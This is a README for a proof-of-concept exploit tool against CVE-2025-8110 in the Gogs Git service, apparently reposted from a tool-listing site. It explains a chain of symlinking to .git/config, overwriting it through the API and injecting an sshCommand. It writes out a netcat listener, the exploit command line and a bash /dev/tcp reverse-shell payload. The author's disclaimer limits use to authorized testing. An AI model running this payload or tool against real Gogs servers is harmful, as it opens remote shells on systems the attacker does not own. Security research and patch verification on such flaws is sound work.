Gogs RCE Exploit (CVE-2025-8110)

A Proof of Concept (PoC) for CVE-2025-8110, a critical vulnerability in Gogs that allows Remote Code Execution (RCE) via .git/config manipulation using symbolic link bypasses and sshCommand injection.

📖 Overview

This exploit targets a Path Traversal flaw in the Gogs API content management. An authenticated user can:

1. Create a repository and push a symbolic link pointing to the internal .git/config.
2. Use the API to overwrite the target config file via the symlink.
3. Inject a malicious sshCommand to execute a Reverse Shell when the server performs Git operations.

🚀 Features

• Automated Workflow: Handles login, repo creation, symlink deployment, and poisoning.
• Robust Encoding: Automatically URL-encodes credentials to handle special characters (e.g., !, @).
• Rich Output: High-visibility logging using the Rich library.

🛠 Prerequisites

• Python 3.12+
• Git installed on the local system.
• Valid credentials on the target Gogs instance.

📦 Installation

1. Clone the repository:
   root@kitploit:~

   git clone https://github.com/Ghxstsec/CVE-2025-8110.git
   cd CVE-2025-8110
   

Install dependencies:

pip3 install -r requirements.txt

💻 Usage

Start your listener:

nc -lvnp 6666

Run the exploit:

python3 CVE-2025-8110-RCE.py -u [http://target-gogs.htb:3000](http://target-gogs.htb:3000) -lh <YOUR_IP> -lp 6666 -p 'YourPassword123!'

Arguments:

Core of the vulnerability:

sshCommand = bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1' #

When Gogs executes a Git command that requires network transport (like a mirror sync or internal reference check), it invokes the sshCommand, triggering the reverse shell.

⚠️ Legal Disclaimer: This tool is for educational and authorized security testing purposes only. The author is not responsible for any misuse or damage caused by this script. Unauthorized access to computer systems is illegal.